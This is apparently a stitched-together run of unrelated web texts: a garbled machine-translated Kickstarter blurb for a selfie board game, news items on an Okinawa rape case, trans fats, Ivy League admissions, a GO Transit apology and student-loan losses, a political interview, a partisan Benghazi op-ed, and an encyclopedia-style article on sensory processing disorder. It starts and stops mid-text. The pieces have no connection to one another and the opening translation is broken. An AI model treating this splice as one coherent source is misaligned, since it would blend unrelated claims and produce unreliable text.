kultuur en elke ras, sodat die Selfie Board Game bou brûe internasionaal. Die spel hoofkwartier sal gebaseer word in Philadelphia , VSA. Gaan na Kickstarter en soek vir die Selfie Board Game pand / bestel jou kopie of om 'n voorbeeld van die spel. Na na 10am Est USA on 6 January 2016, The selfie Board Game ga-aga -ebi ndụ na Kickstarter (https://goo.gl/bMnwkG) Agbam onya site Aussie ji egwuri egwu na egwuregwu mmebe Ken Howard , nke a bụ gị ohere enwetaghị ọhụụ nke a na-akpali akpali ọhụrụ egwuregwu na genre . Ndị mmadụ ga-enwe ike nkwa nkwado maka egwuregwu, na nloghachi n'ihi na mbụ na n'oge mbipụta. Ihe The selfie Board Game, bụ nanị, na-akọwa onye eketie naanị ụda nke olu-ha TUPU ha selfie na-ekpughe. Nke a bụ egwuregwu maka nke ụwa dum , nke ọ bụla asụsụ , ọ bụla omenala na agbụrụ nile , nke mere na The selfie Board Game ewuli àkwà mmiri mba. Egwuregwu n'isi ụlọ ọrụ ga-dabere na Philadelphia, USA. Gaa Kickstarter ma chọọ The selfie Board Game ka nkwa / ịtụ gị Detuo ma ọ bụ ka ịhụchalụ egwuregwu. -A U.S. Navy sailor arrested on a charge of raping a Japanese woman in Okinawa has admitted to the crime, investigative sources said Wednesday. They said he reversed an earlier denial. Justin Castellanos, 24, who is based at the U.S. Marines’ Camp Schwab in northern Okinawa, was arrested on March 13 on suspicion of raping the woman in her 40s at a hotel in Naha early that morning. Police allege Castellanos took the woman, a tourist from Fukuoka Prefecture, into his room after finding her asleep in a hotel corridor and raped her. The suspect and the woman were both staying at the hotel but were not acquainted, the police said. The alleged incident resulted in protests by thousands of people in Okinawa, which hosts the bulk of U.S. military facilities in Japan. -The US is playing catch up to Australia when it comes to regulating trans fatty acid, but that doesn't mean our food is trans-fat free, some of the country's peak nutritional experts say. The Obama Administration on Tuesday ordered ordered food companies to phase out artificial trans fats over the next three years, calling them a threat to public health. Trans fats are more likely to be found in processed foods including pastries, doughnuts and cakes at the cheaper end of the market. Credit:M. Spencer Green Trans fats are a particularly nasty fat that increases LDL, or 'bad' cholesterol levels and decreases 'good' HDL cholesterol levels, increasing the risk of cardiovascular disease (CVD) and diabetes. Trans-fatty acids are created by treating vegetable oils with hydrogen, which causes the liquid oil to hold its solid form at room temperature, which helps food products like doughnuts, biscuits and cakes hold their shape and extends their shelf life. -Every student dreams of reading these words: "Congratulations on your acceptance!" But Elsik High School senior Amina Mabizari read them 15 times. She applied to 16 universities, including eight Ivy League institutions. "I didn't think I'd get accepted to any of them. By casting a wide net I thought someone would take the bait and take me," Mabizari said. But when every letter had been opened this spring, seven of those Ivy League universities wanted her. "I can't even put into words how big of a moment that was for me," Mabizari said. The proud daughter of Algerian immigrants is about to graduate from Alief ISD. Mabizari's road to success wasn't an easy one. As a young student, she was last in her class in ready, even suffered with a speech impediment. "To go from there to here being accepted to all these schools, it's incredible," Mabizari said. Mabizari said she couldn't have done it without her parents. "At that moment, I almost cried. It was just an unbelievable moment for me," said Mabizari's father, Bachir Mabizari. And if you thought applying to 16 schools was tough, deciding which one to go to was even harder. But this fall, Amina Mabizari's heading to Yale. "I never imagined any of this would happen," she said. Amina Mabizari is as humble as they come. A proud, hard-working Muslim-American who now hopes her success story in Alief sends a loud message across the country. "We represent a large community of people, the majority, the mass majority of which are positive and want to change the world," Amina Mabizari said. This year, the Ivy League schools had an acceptance rate anywhere from 5 to 12 percent. Amina Mabizari plans to study political science and then go on to law school. She said she may also one day run for public office. -"Anybody not reading [Tim Carney] regularly doesn't understand what's truly going on in DC or in the GOP," tweeted Michael Needham, CEO of Heritage Action. Since Heritage Action is driving quite a bit of what goes on in the Republican Party these days that's a strong endorsement. Carney, a columnist at the Washington Examiner and author of "The Big Ripoff" and "Obamanomics," is the foremost chronicler of the idea that Republicans should become a populist party at war with favor-seeking business interests in Washington. And he's argued that that's part of what's going on in this shutdown fight. We spoke on Thursday, and a lightly edited transcript of our conversation follows. What's that pig thinking? (Flickr/CC) Ezra Klein: You’ve been developing this theme that what’s happening in the Republican Party is a battle between the Tea Party and K Street, which is shorthand for business interests that work in Washington and often support the Republican Party. Expand on this a bit. Tim Carney: I think, historically, K Street has been the most powerful pull in the Republican Party. It’s also powerful in the Democratic Party. But Republicans don’t have unions as a counterpull. K Street is really the only place for Republicans to go for funding. So if something came up where the free market position was different than the pro-business position Republicans would often side with business. This was the case with TARP and Medicare Part D and big spending in the Bush era. Now there’s this ideological money coming into Heritage Action and the Senate Conservatives Fund and Club for Growth. They’re donating because of what they believe. And so now there are these elected Republicans who don’t care what K Street has to say about them. The business community says we need to end this government shutdown and stop flirting with the debt ceiling and a lot of Republicans can say they don’t care. EK: But the money in the Tea Party isn’t exclusively small-donor. The Koch brothers, to use the most high-profile example, are key Tea Party donors and also sit atop a vast empire of business interests that depend, in various ways, on government decisions. So, how do you know you’re not just exchanging one set of business interests for another? TC: Anytime money is coming from a few sources, it’s problematic. Ideally any movement in any party has a vast variety of sources and money because otherwise they’re afraid of upsetting their funders. If Republicans ended up in a position where they were completely dependent on Koch money that would be very bad for Republicans. Heritage Action gets Koch money. But if you look at Freedom Works, for instance, they’re definitely not getting Koch money. They were created as a splinter off the Koch world. Club for Growth gets a lot of rich conservative investors. They’re not Obama’s 20-year-old small donors, but they’re a different source of money. And I’ll say this: I think ideological money is better than money coming in to support the corporate bottom line. EK: This is an interesting question. The business money is transactional. It wants a change in law, a tax break, a regulation. But business also has a general interest in stability, in growth. The ideological money is also transactional. It wants something, too. But it often has an interest in conflict, in extreme tactics. The people who donate it are not representative of the average voter. They want something much different than the average voter. So, how do you decide which is better? TC: I don’t agree. I think ideological money is more likely to be more representative than business money. Business money will have certain things in common. It’s coming from businesses big enough to hire lobbyists, as opposed to just people interested enough to give money. Now, for individuals, it’s so much easier to give money. The Senate Conservatives Fund was just a Web site when it started. EK: Let me rephrase that. Put aside who’s more representative. What the ideological money wants is very different than what most voters want. Over the period of time that you kind of identify as seeing the rise of this money, Congress in general -- and Republicans in Congress, in particular -- have become less popular than at any time in history. So whatever that money is buying doesn’t represent what most people want. TC: I do think it’s possible that the rise of the Tea Party groups and similar groups on the left can lead to a lot of instability because the more ideological you are the less open you are to compromise. Democrats handled that by [Rep.] Nancy Pelosi saying she’d work to end the Iraq War, and then she really didn’t. The pragmatists won in the end there. I think that a lot of the way [Sen.] Ted Cruz and the Tea Party groups have handled the current shutdown fight has been bad politics; they’ve at times mistaken tactics for principles. Cruz has burned bridges he didn’t need to burn. There hasn’t been enough experience among the people planning tactics. So the question I’m curious about is: Can you use this inside-outside game where the Beltway groups sends messages to the grass-roots and the grass-roots applies pressure to lawmakers -- can you use that in a way that’s less combative and more prudent than the groups have been using it in the last months? EK: You’ve noted that this was a shutdown that began with Tea Party arguments over Obamacare but that the Republican Party’s leaders are now trying to end with more traditional concessions, like repeal of the medical-device tax or budget negotiations. Expand on that a bit. TC: That’s the standard Republican playbook. Something happens. Conservatives get excited. And K Street walks out with the victory. Now Heritage Action is onto that. They’re saying [that] if all we get out of this is medical device tax repeal then how detached is the Republican Party from the base? I think the medical device tax is bad policy but just doing that would really sow dissatisfaction in the Republican base. EK: But isn’t a lot of this that these Tea Party groups and politicians basically told the base something that was false? I mean, I’ve been spending a lot of time in conservative Twitter and on Red State and it’s just this weird, bizarro-world march of shutdown triumphs, where the shutdown is going great, Democrats are terrified, Republicans are ascendant. I don’t know if they buy it or if it’s cynical, but they’re setting their people up for fights they can’t win. TC: When I’m in a hopeful mood, I see this as a pendulum swinging from one extreme to another and coming towards the middle. The old extreme was the Bush way of doing things. Republican leaders told the base they were doing something conservative, and then they’d do something like prescription drugs and sell it to the base as a tactical move to get reelected. That was basically a lie the Republican leadership told the base. So now, if you try to tell involved conservatives that this is just a difference in tactics, even if you’re right, people are skeptical. [Sens.] Tom Coburn and Mike Lee don’t have seriously different principles; they disagree on tactics. But the Republican base has been burned too may times to believe it even when it’s true. I’m hoping things can swing back to the middle and the methods of guys like Cruz and Mike Needham can move in more tactically intelligent ways then they’re being used right now. EK: When I came to Washington in the mid-2000s the conventional wisdom was that Republicans had this follow-the-leader approach to politics and Democrats, in the old Will Rogers line, weren’t even an organized party. Now it seems to have flipped. Democrats are comfortable following their leaders, and Republicans seem not just disorganized, but actively suspicious of anything their leaders come up with. It seems sometimes that the way the Tea Party shows it hasn’t sold out is to almost reflexively oppose what [House Majority Leader John] Boehner comes up with. TC: I think a lot of the base, having gone through the Bush era, has come out with an innate distrust of the establishment. One of the symptoms of this was Christine O’Donnell winning the Republican Party primary in Delaware in 2010. She wasn’t particularly conservative. But she could rail against the establishment. When you saw Herman Cain and Michelle Bachmann and these people rise up, it wasn’t about ideology. It was about being anti-establishment. The Republican Party needs to abandon some of these identity politics. So I hope guys like Cruz who can really talk to the base can build up a sense of both what the goals are ... and of here’s what’s possible, and move away from the knee-jerk, anti-establishment instincts in the base right now. EK: So, what do you think their endgame is here? TC: I think the goal has always been to try and win the shutdown in one way or another. That’s not happening now. The question is can something change so Republicans start winning the shutdown? When you see Boehner talk about punting on the debt limit, remember, he previously wanted to fight on the debt limit. That reflects conservatives believing that maybe if the shutdown keeps going we can win. How that happens is not clear to me. But the necessary condition is that the shutdown somehow needs to be hurting Obama more than it’s hurting Republicans. The reason I’m skeptical of that is Republicans will never get the kind of fair or positive media treatment they’d need for that to be the case. EK: So, Republicans are trying to split the debt ceiling and the shutdown, as you say. But what comes out of that, exactly? Democrats aren’t going to defund Obamacare. TC: I think it’s possible then that you see something like an actual strategy or potential path towards victory coming out of this. If it’s not going to be Obamacare, I hope the Republican ask will be something like eliminating a corporate welfare subsidy Obama likes -- something like the sugar subsidy or the subsidies for Boeing. That would show a very new side of the Republican Party, it would weaken Democrats, and it would give something conservatives could bring home to their base. -TORONTO — Social media posts encouraging people to visit southern Ontario's wineries by bicycle has prompted a regional public transit service to apologize for the "misunderstanding." In May 10 Facebook and Twitter postings, GO Transit said "Niagara's wineries are best enjoyed responsibly and on two wheels." The posting encouraged people to take their bicycle on the GO for "a cycling weekend adventure in Ontario's wine country" in a promotion for its seasonal service to Niagara Region. That prompted numerous replies on social media that suggested Go Transit was endorsing mixing cycling and drinking. One poster said she "wouldn't encourage biking while under the influence of alcohol. That's an accident waiting to happen." GO responded on Wednesday with a Facebook post saying it's sorry if the message suggested anything but responsible enjoyment, adding it does not "encourage biking when intoxicated or impaired." "Unfortunately some thought this post was intended to encourage biking and drinking. That was not our intention at all; quite the opposite," Anne Marie Aikins, a spokesperson for GO Transit parent organization Metrolinx, said in an email. "We apologize if the post on Facebook caused any misunderstanding. We should have clarified it sooner," Aikins said. There are many interesting things to see and do on winery bike tours, but Metrolinx's position is that customers who wish to drink should plan ahead and take one of the winery buses, she said. -Three days after Ambassador Chris Stevens was assassinated, Jay Carney told the White House press corps it had been the work of a flash mob inflamed by an insulting video about the Prophet Muhammad. As the killers had arrived with rocket-propelled grenades and automatic weapons, this story seemed noncredible on its face. Yet two days later, U.N. Ambassador Susan Rice doubled down. Appearing on five Sunday talk shows, she called the massacre the result of a “spontaneous” riot that was neither “preplanned” nor “premeditated.” Advertisement Carney and Rice deceived us. But were they deceived? It is impossible to believe that Carney would characterize the Benghazi, Libya, massacre as the result of a protest that careened out of control unless he had been told to do so by the national security adviser, the White House chief of staff or President Barack Obama himself. Who told Carney to say what he did? Who arranged for Rice to appear on five shows to push this line? Throwing a rope to Rice and Carney, the director of national intelligence, James Clapper, said last week that only recently had his team concluded that Benghazi was the work of terrorists. Yet intelligence insiders were leaking to the press the day after Stevens was murdered that it was terrorism. Now that the cover story–that the murder of Stevens and the other Americans was the result of a spontaneous outburst the Obama administration could not have foreseen or prevented–has collapsed, the truth is tumbling out. And the truth is more alarming. For it calls into question the credibility and competence of Obama’s security team and the judgment of the president himself. What do we now know? Stevens believed he was on an al-Qaida hit list and so wrote in his diary. He was concerned about a rise in Islamic extremism in the city. “Days before the ambassador arrived from the embassy in Tripoli,” The Washington Post reported Sunday, “Westerners had fled the city, and the British had closed their consulate.” Rice insisted that the act of barbarism arose out of a protest, but there may not even have been a protest, just a military assault with RPGs, machine guns and mortars that hit a safe house a mile from the consulate, killing two former Navy SEALs, while other U.S. agents fled to the airport. So dangerous is Benghazi, The New York Times reported Friday, FBI agents investigating the ambassador’s assassination have yet to venture into the city. Was U.S. intelligence oblivious to how dangerous Benghazi was when Stevens went in? Was not Benghazi’s reputation as a haven for Islamic jihadi known to us all before we “liberated” Libya? This is the city U.S. air power saved when Moammar Gadhafi’s forces were closing in. It now appears to be an al-Qaidaville where U.S. diplomats and agents dare not tread. Late last week, Secretary of State Hillary Clinton conceded that the Benghazi murders were acts of terror perpetrated by extremists associated with al-Qaida in the Islamic Maghreb. She alluded to Mali, where an al-Qaida affiliate, the Ansar Dine, has taken over half the country. How grave is that threat? On Thursday, The Associated Press reported that Gen. Carter Ham, head of the U.S. Africa command, met with Mauretania’s president to discuss “a possible military intervention … in north Mali against al-Qaida-linked group members and their allies.” Yet Vice President Joe Biden still campaigns through the Rust Belt bellowing, “General Motors is alive, and Osama bin Laden is dead,” and Obama still recites his mantra, “al-Qaida is on the path to defeat.” The reality. Al-Qaida affiliates have taken over a region of Mali the size of France. Al-Qaida in the Islamic Maghreb may have been in on the Benghazi massacre. Al-Qaida is in Syria fighting for a cause, the overthrow of Bashar Assad, Obama supports. Al-Qaida has helped reignite sectarian war in Iraq. Al-Qaida remains in Pakistan. Al-Qaida in the Arabian Peninsula is in Yemen. We failed to cut out or kill the cancer at Tora Bora in 2001, and it has since metastasized and spread across North Africa, the Middle East and South Asia. As for the Arab Spring Obama embraced, that has given us the Muslim Brotherhood in Cairo and jihadi in Sinai. Our departure from Iraq paved the way to a new sectarian war. The surge troops are out of Afghanistan, and the remaining U.S. troops no longer partner with the Afghan soldiers who are to take over the war. Any doubt about the outcome there when we’re gone? Within the past month, anti-American riots, flag burnings and the raising of Islamist banners atop U.S. embassy facilities have occurred in too many countries and capitals to recite. If this is the fruit of a successful engagement with the Islamic world, what would a debacle look like? Rep. Paul Ryan said Sunday, “The Obama foreign policy is unraveling literally before our eyes on our TV screens.” Is he wrong? Patrick J. Buchanan is a founding editor of TAC and the author of “Suicide of a Superpower: Will America Survive to 2025?” Copyright 2012 Creators.com. -Signup to receive a daily roundup of the top LGBT+ news stories from around the world A US study suggests that LGBT people are more concerned about the environment than their straight counterparts. According to a poll by Harris, 55 per cent of LGBT adults say they “personally care a great deal about the current state and future of the environment,” compared with 33 per cent of heterosexuals,. Furthermore, the survey found that 40 per cent of LGBT adults say they “encourage others to be more environmentally friendly”, compared with 24 per cent of straight people. In other results, it was found that LGBT people were more likely in 2010 to say they were “environmentally conscious” than the year before. The opposite was seen in straight respondents. Forty-seven per cent of LGBT adults described themselves as “environmentally conscious” in the 2010 survey, up from 38 per cent in the 2009 one. Twenty-eight per cent of straight people described themselves as such in 2010, down from 30 per cent in 2009. The poll surveyed 2,352 adults in December, 347 of whom described themselves as LGBT. -For the similarly-named personality trait distinct from the disorder, see Sensory processing sensitivity Sensory processing disorder Synonyms Sensory integration dysfunction Specialty Psychiatry Sensory processing disorder (SPD; also known as sensory integration dysfunction) is a condition where multisensory integration is not adequately processed in order to provide appropriate responses to the demands of the environment. Sensory integration was defined by occupational therapist Anna Jean Ayres in 1972 as "the neurological process that organizes sensation from one's own body and from the environment and makes it possible to use the body effectively within the environment".[1][2] Sensory processing disorder has been characterized as the source of significant problems in organizing sensation coming from the body and the environment and is manifested by difficulties in the performance in one or more of the main areas of life: productivity, leisure and play[3] or activities of daily living.[4] Sources debate whether SPD is an independent disorder or represents the observed symptoms of various other, more well-established, disorders.[5][6][7][8] SPD is not recognized by the Diagnostic and Statistical Manual of the American Psychiatric Association[9][10], and the American Academy of Pediatrics has recommended that pediatricians not use SPD as a diagnosis.[9] Signs and symptoms [ edit ] Symptoms may vary according to the disorder's type and subtype present. SPD can affect one sense or multiple senses. While many people can present one or two symptoms, sensory processing disorder has to have a clear functional impact on the person's life: Signs of over-responsivity,[11] including, for example, dislike of textures such as those found in fabrics, foods, grooming products or other materials found in daily living, to which most people would not react, and serious discomfort, sickness or threat induced by normal sounds, lights, movements, smells, tastes, or even inner sensations such as heartbeat. Signs of under-responsivity, including sluggishness and lack of responsiveness; and Sensory cravings,[12] including, for example, fidgeting, impulsiveness, and/or seeking or making loud, disturbing noises; Sensorimotor-based problems, including slow and uncoordinated movements or poor handwriting. Sensory discrimination problems, that might manifest themselves in behaviors such as things constantly dropped. Critics have noted that what proponents claim are symptoms of SPD are both broad and, in some cases, represent very common, and not necessarily abnormal or atypical, childhood characteristics. The checklist of symptoms on the website of the SPD Foundation, for example, includes such warning signs as "My infant/toddler has problems eating," "My child has difficulty being toilet trained," "My child is in constant motion," and "My child gets in everyone else's space and/or touches everything around him." -- "symptoms" which read much like the day-to-day complaints of an average parent.[13] Relationship to other disorders [ edit ] Sensory processing issues represent a feature of a number of disorders, including anxiety problems, ADHD,[14] food intolerances, behavioral disorders, and particularly, autism spectrum disorders.[15][16][17][18][19][20][21] This pattern of comorbidities poses a significant challenge to those who claim that SPD is a identifiably specific disorder, rather than simply a term given to a set of symptoms common to other disorders.[22] Dr. Catherine Lord, a leading autism expert and the director of the Center for Autism and the Developing Brain at New York-Presbyterian Hospital, argues that sensory issues are an important concern, but not a diagnosis in themselves. "I do think there's a value in attending to how a child is perceiving sensations, thinking about whether he could be uncomfortable. Where I get concerned is labeling that as a separate disorder."[23] Two studies have provided preliminary evidence suggesting that there may be measurable neurological differences between children diagnosed with SPD and control children classified as neurotypical[24] or children diagnosed with autism.[25] Despite this evidence, the fact that SPD researchers have yet to agree on a proven, standardized diagnostic tool undermines researchers' ability to define the boundaries of the disease and makes correlational studies, like the ones about structural brain abnormalities, less convincing.[13] Causes [ edit ] The exact cause of SPD is not known.[26] However, it is known that the mid-brain and brain stem regions of the central nervous system are early centers in the processing pathway for multisensory integration; these brain regions are involved in processes including coordination, attention, arousal, and autonomic function.[27] After sensory information passes through these centers, it is then routed to brain regions responsible for emotions, memory, and higher level cognitive functions. Damage in any part of the brain involved in multisensory processing can cause difficulties in adequately processing stimuli in a functional way. Sensory processing is viewed as a spectrum and how individuals process stimuli varies from person to person. Individuals with SPD tend to fall on the extreme ends of the sensory spectrum[28], either hyposensitive or hypersensitive. Research [ edit ] Current research in sensory processing is focused on finding the genetic and neurological causes of SPD. EEG[29] and measuring event-related potential (ERP) are traditionally used to explore the causes behind the behaviors observed in SPD. Some of the proposed underlying causes by current research are: EEG recording Differences in tactile and auditory over responsivity show moderate genetic influences, with tactile over responsivity demonstrating greater heritability. Bivariate genetic analysis suggested different genetic factors for individual differences in auditory and tactile SOR. [30] People with Sensory Processing Deficits have less sensory gating (electrophysiology) than typical subjects. [31] [32] People with sensory over-responsivity might have increased D2 receptor in the striatum, related to aversion to tactile stimuli and reduced habituation. In animal models, prenatal stress significantly increased tactile avoidance. [33] Studies using event-related potentials (ERPs) in children with the sensory over responsivity subtype found atypical neural integration of sensory input. Different neural generators could be activated at an earlier stage of sensory information processing in people with SOR than in typically developing individuals. The automatic association of causally related sensory inputs that occurs at this early sensory-perceptual stage may not function properly in children with SOR. One hypothesis is that multisensory stimulation may activate a higher-level system in frontal cortex that involves attention and cognitive processing, rather than the automatic integration of multisensory stimuli observed in typically developing adults in auditory cortex. [34] Recent research found an abnormal white matter microstructure in children with SPD, compared with typical children and those with other developmental disorders such as autism and ADHD.[35][36] Diagnosis [ edit ] Although sensory processing disorder is accepted in the Diagnostic Classification of Mental Health and Developmental Disorders of Infancy and Early Childhood (DC:0-3R), it is not recognized as a mental disorder in medical manuals such as the ICD-10[37] or the DSM-5.[38] Diagnosis is primarily arrived at by the use of standardized tests, standardized questionnaires, expert observational scales, and free play observation at an occupational therapy gym. Observation of functional activities might be carried at school and home as well. Depending on the country, diagnosis is made by different professionals, such as occupational therapists, psychologists, learning specialists, physiotherapists and/or speech and language therapists.[39] In some countries it is recommended to have a full psychological and neurological evaluation if symptoms are too severe. Standardized tests Sensory Integration and Praxis Test (SIPT) DeGangi-Berk Test of Sensory Integration (TSI) Test of Sensory Functions in Infants (TSFI)[40] Standardized questionnaires Sensory Profile, (SP) [41] Infant/Toddler Sensory Profile [40] Adolescent/Adult Sensory Profile Sensory Profile School Companion Indicators of Developmental Risk Signals (INDIPCD-R) [42] Sensory Processing Measure (SPM) [43] Sensory Processing Measure Preeschool (SPM-P)[44] Other tests The large number of different forms and tools of assessment listed here reflects what critics have argued is a fundamental problem with the diagnosis process: SPD researchers have yet to agree on a proven, standardized diagnostic tool, a problem that undermines the ability of researchers to define the boundaries of the disorder.[13][23] Classification [ edit ] Sensory processing disorders have been classified by proponents into three categories: sensory modulation disorder, sensory-based motor disorders and sensory discrimination disorders [50] (as defined in the Diagnostic Classification of Mental Health and Developmental Disorders in Infancy and Early Childhood).[51][52] Sensory modulation disorder (SMD) Sensory modulation refers to a complex central nervous system process[50][53] by which neural messages that convey information about the intensity, frequency, duration, complexity, and novelty of sensory stimuli are adjusted.[54] SMD consists of three subtypes: Sensory over-responsivity. Sensory under-responsivity Sensory craving/seeking. Sensory-based motor disorder (SBMD) According to proponents, sensory-based motor disorder shows motor output that is disorganized as a result of incorrect processing of sensory information affecting postural control challenges, resulting in postural disorder, or developmental coordination disorder.[50][55] The SBMD subtypes are: Dyspraxia Postural disorder Sensory discrimination disorder (SDD) Sensory discrimination disorder involves the incorrect processing of sensory information.[50] The SDD subtypes are:[56] 1. Visual 2. Auditory 3. Tactile 4. Gustatory (taste) 5. Olfactory (smell) 6. Vestibular (balance) 7. Proprioceptive (feeling of where parts of the body are located in space) Treatment [ edit ] Sensory integration therapy [ edit ] Vestibular system is stimulated through hanging equipment such as tire swings The main form of sensory integration therapy is a type of occupational therapy that places a child in a room specifically designed to stimulate and challenge all of the senses.[57] During the session, the therapist works closely with the child to provide a level of sensory stimulation that the child can cope with, and encourage movement within the room. Sensory integration therapy is driven by four main principles: Just right challenge (the child must be able to successfully meet the challenges that are presented through playful activities) Adaptive response (the child adapts his behavior with new and useful strategies in response to the challenges presented) Active engagement (the child will want to participate because the activities are fun) Child directed (the child's preferences are used to initiate therapeutic experiences within the session) Sensory processing therapy [ edit ] This therapy retains all of the above-mentioned four principles and adds:[58] Intensity (person attends therapy daily for a prolonged period of time) Developmental approach (therapist adapts to the developmental age of the person, against actual age) Test-retest systematic evaluation (all clients are evaluated before and after) Process driven vs. activity driven (therapist focuses on the "Just right" emotional connection and the process that reinforces the relationship) Parent education (parent education sessions are scheduled into the therapy process) "joie de vivre" (happiness of life is therapy's main goal, attained through social participation, self-regulation, and self-esteem) Combination of best practice interventions (is often accompanied by integrated listening system therapy, floor time, and electronic media such as Xbox Kinect, Nintendo Wii, Makoto II machine training and others) The treatments themselves may involve a variety of activities and interventions (for example, prism lenses). Children with hypo-reactivity may be exposed to strong sensations such as stroking with a brush, vibrations or rubbing. Play may involve a range of materials to stimulate the senses such as play dough or finger painting. Children with hyper-reactivity, on the other hand, may be exposed to peaceful activities including quiet music and gentle rocking in a softly lit room. Treats and rewards may be used to encourage children to tolerate activities they would normally avoid. While occupational therapists using a sensory integration frame of reference work on increasing a child's ability to adequately process sensory input, other OTs may focus on environmental accommodations that parents and school staff can use to enhance the child's function at home, school, and in the community.[59][60] These may include selecting soft, tag-free clothing, avoiding fluorescent lighting, and providing ear plugs for "emergency" use (such as for fire drills). Evaluation of treatment effectiveness [ edit ] Some of these treatments (for example, sensorimotor handling) have a questionable rationale and no empirical evidence. Other treatments (for example, prism lenses, physical exercise, and auditory integration training) have had studies with small positive outcomes, but few conclusions can be made about them due to methodological problems with the studies.[61] [62] [63] In its overall review of the treatment effectiveness literature, AETNA concluded that "The effectiveness of these therapies is unproven.",[64] while the American Academy of Pediatrics concluded that "parents should be informed that the amount of research regarding the effectiveness of sensory integration therapy is limited and inconclusive."[65] A 2015 review concluded that SIT techniques exist "outside the bounds of established evidence-based practice" and that SIT is "quite possibly a misuse of limited resources."[66] Epidemiology [ edit ] It has been estimated by proponents that up to 16.5% of elementary school aged children present elevated SOR behaviors in the tactile or auditory modalities.[67] This figure is larger than what previous studies with smaller samples had shown: an estimate of 5–13% of elementary school aged children.[68] Critics have noted that such a high incidence for just one of the subtypes of SPD raises questions about the degree to which SPD is a specific and clearly identifiable disorder.[13] Proponents have also claimed that adults may also show signs of sensory processing difficulties and would benefit for sensory processing therapies,[69] although this work has yet to distinguish between those with SPD symptoms alone vs adults whose processing abnormalities are associated with other disorders, such as Autism Spectrum Disorder.[70] Controversy [ edit ] There are concerns regarding the validity of the diagnosis. SPD is not included in the DSM-5 or ICD-10, the most widely used diagnostic sources in healthcare. The American Academy of Pediatrics (AAP) states that there is no universally accepted framework for diagnosis and recommends caution against using any "sensory" type therapies unless as a part of a comprehensive treatment plan. In fact, in a 2012 statement, the AAP states that "Because there is no universally accepted framework for diagnosis, sensory processing disorder generally should not be diagnosed." When an occupational therapist does recommend sensory integration therapy, the AAP instructs that the therapist is aware that, "parents should be informed that the amount of research regarding the effectiveness of sensory integration therapy is limited and inconclusive." As such, most health insurance considers sensory integration therapy to be "investigational" and will not cover it. In the United States and UK, sensory processing disorder is not likely to qualify an individual for disability benefits, so the supporters of sensory processing disorder recommend having a child diagnosed for a related disorder that will qualify them for disability insurance. As was noted above, a 2015 review of research on Sensory Integration Therapy (SIT) concluded that SIT is "ineffective and that its theoretical underpinnings and assessment practices are unvalidated", that SIT techniques exist "outside the bounds of established evidence-based practice", and that SIT is "quite possibly a misuse of limited resources".[66] Manuals [ edit ] SPD is in Stanley Greenspan's Diagnostic Manual for Infancy and Early Childhood and as Regulation Disorders of Sensory Processing part of The Zero to Three's Diagnostic Classification. but is not recognized in the manuals ICD-10 or in the recently updated DSM-5. However, unusual reactivity to sensory input or unusual interest in sensory aspects is included as a possible but not necessary criterion for the diagnosis of autism. Misdiagnosis [ edit ] Some state that sensory processing disorder is a distinct diagnosis, while others argue that differences in sensory responsiveness are features of other diagnoses and it is not a standalone diagnosis. The neuroscientist David Eagleman has proposed that SPD may be a form of synesthesia, a perceptual condition in which the senses are blended.Specifically, Eagleman suggests that instead of a sensory input "connecting to [a person's] color area [in the brain], it's connecting to an area involving pain or aversion or nausea". Researchers have described a treatable inherited sensory overstimulation disorder that meets diagnostic criteria for both attention deficit disorder and sensory integration dysfunction. Society [ edit ] The American Occupational Therapy Association (AOTA) supports the use of a variety of methods of sensory integration for those with sensory processing disorder. The organization has supported the need for further research to increase insurance coverage for related therapies. They have also made efforts to educate the public about sensory integration therapy. The AOTA's practice guidelines currently support the use of sensory integration therapy and interprofessional education and collaboration in order to optimize treatment for those with sensory processing disorder. The AOTA provides several resources pertaining to sensory integration therapy, some of which includes a fact sheet, new research, and continuing education opportunities.[71] History [ edit ] Sensory processing disorder as a specific form of atypical functioning was first described by occupational therapist Anna Jean Ayres (1920–1989).[72] Original model Ayres's theoretical framework for what she called Sensory Integration Dysfunction was developed after six factor analytic studies of populations of children with learning disabilities, perceptual motor disabilities and normal developing children.[73] Ayres created the following nosology based on the patterns that appeared on her factor analysis: Dyspraxia: poor motor planning (more related to the vestibular system and proprioception) Poor bilateral integration: inadequate use of both sides of the body simultaneously Tactile defensiveness: negative reaction to tactile stimuli Visual perceptual deficits: poor form and space perception and visual motor functions Somatodyspraxia: poor motor planning (related to poor information coming from the tactile and proprioceptive systems) Auditory-language problems Both visual perceptual and auditory language deficits were thought to possess a strong cognitive component and a weak relationship to underlying sensory processing deficits, so they are not considered central deficits in many models of sensory processing. In 1998, Mulligan found a similar pattern of deficits in a confirmatory factor analytic study.[74][75] Quadrant model Dunn's nosology uses two criteria:[76] response type (passive vs active) and sensory threshold to the stimuli (low or high) creating 4 subtypes or quadrants:[77] High neurological thresholds Low registration: high threshold with passive response. Individuals who do not pick up on sensations and therefore partake in passive behavior.[78] Sensation seeking: high threshold and active response. Those who actively seek out a rich sensory filled environment.[78] Low neurological threshold Sensitivity to stimuli: low threshold with passive response. Individuals who become distracted and uncomfortable when exposed to sensation but do not actively limit or avoid exposure to the sensation.[78] Sensation avoiding: low threshold and active response. Individuals actively limit their exposure to sensations and are therefore high self regulators.[78] Sensory processing model In Miller's nosology "sensory integration dysfunction" was renamed into "Sensory processing disorder" to facilitate coordinated research work with other fields such as neurology since "the use of the term sensory integration often applies to a neurophysiologic cellular process rather than a behavioral response to sensory input as connoted by Ayres."[50] See also [ edit ] References [ edit ] -University, vocational training debts to skyrocket costing budget billions, documents show Updated The Federal Government is preparing to write off billions of dollars of higher education loans as the number of bad debts soar. Key points: Government forecasting losses of more than $13.5 billion on four years worth of loans Education Minister this week recommitted to university funding cuts and fee deregulation Universities Australia open to changes for loans, but only if HECS-HELP scheme remains fundamentally intact An ABC Freedom of Information (FOI) investigation has revealed the Government is forecasting losses of more than $13.5 billion on just four years' worth of loans. The figures come after the Government recommitted to university funding cuts and fee deregulation. The Coalition is also considering changes to the scandal-plagued vocational education sector, which is helping fuel the bleak fiscal predictions. "The costs to taxpayers of higher education have, over recent years, grown dramatically," Education Minister Simon Birmingham said. The HELP loan system, including for university courses and vocational training, allows students to defer course payments and subsidises the interest rate on debt. The amount never to be repaid on loans issued in 2018-19 is predicted to exceed $4.4 billion — a budget hit nearly four times higher than expected from loans issued last financial year. "Funding of university students has essentially grown at twice the rate of the economy," Senator Birmingham said. "I welcome all ideas from the sector, experts and students on how to make university funding sustainable as I continue to consult widely on higher education reform." Rising student numbers drive 'doubtful debt' Losses include people not reaching the $54,000 a year income threshold and the Government subsidising the interest on the debt. The amount owed on student loans rises in line with inflation — not the rate of interest paid by the Government. Predicted losses on debt issued each financial year: 2014-15: $1.29 billion 2015-16: $2.59 billion 